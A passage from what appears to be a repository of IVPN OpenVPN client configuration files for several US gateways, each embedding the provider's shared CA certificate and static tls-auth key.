34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/USA - Atlanta.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote us-ga.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name us-ga name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/USA - Dallas.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote us-tx.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name us-tx name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/USA - Los Angeles.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote us-ca.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name us-ca name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/USA - Miami.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote us-fl.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name us-fl name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/USA - New Jersey.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote us-nj.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name us-nj name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c
44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK
45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA
46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va
47 | 15U=
48 | -----END CERTIFICATE-----
49 |
50 |
51 | -----BEGIN OpenVPN Static key V1-----
52 | ac470c93ff9f5602a8aab37dee84a528
53 | 14d10f20490ad23c47d5d82120c1bf85
54 | 9e93d0696b455d4a1b8d55d40c2685c4
55 | 1ca1d0aef29a3efd27274c4ef09020a3
56 | 978fe45784b335da6df2d12db97bbb83
57 | 8416515f2a96f04715fd28949c6fe296
58 | a925cfada3f8b8928ed7fc963c156327
59 | 2f5cf46e5e1d9c845d7703ca881497b7
60 | e6564a9d1dea9358adffd435295479f4
61 | 7d5298fabf5359613ff5992cb57ff081
62 | a04dfb81a26513a6b44a9b5490ad265f
63 | 8a02384832a59cc3e075ad545461060b
64 | 7bcab49bac815163cb80983dd51d5b1f
65 | d76170ffd904d8291071e96efc3fb777
66 | 856c717b148d08a510f5687b8a8285dc
67 | ffe737b98916dd15ef6235dee4266d3b
68 | -----END OpenVPN Static key V1-----
69 |
70 |
71 |
--------------------------------------------------------------------------------
/ivpn-setup/ivpn-openvpn-config/USA - Salt Lake City.ovpn:
--------------------------------------------------------------------------------
1 | client
2 | dev tun
3 | proto udp
4 | remote us-ut.gw.ivpn.net 2049
5 | auth-user-pass
6 |
7 | resolv-retry infinite
8 | nobind
9 | persist-tun
10 | persist-key
11 | persist-remote-ip
12 |
13 | cipher AES-256-CBC
14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA
15 | ns-cert-type server
16 | verify-x509-name us-ut name-prefix
17 | key-direction 1
18 | comp-lzo
19 | verb 3
20 |
21 | ;ca ca.crt
22 |
23 | -----BEGIN CERTIFICATE-----
24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV
25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT
26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ
27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa
28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx
29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG
30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu
32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH
33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv
34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc
35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz
36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU
37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo
38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG
39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l
40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm
41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c
42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi
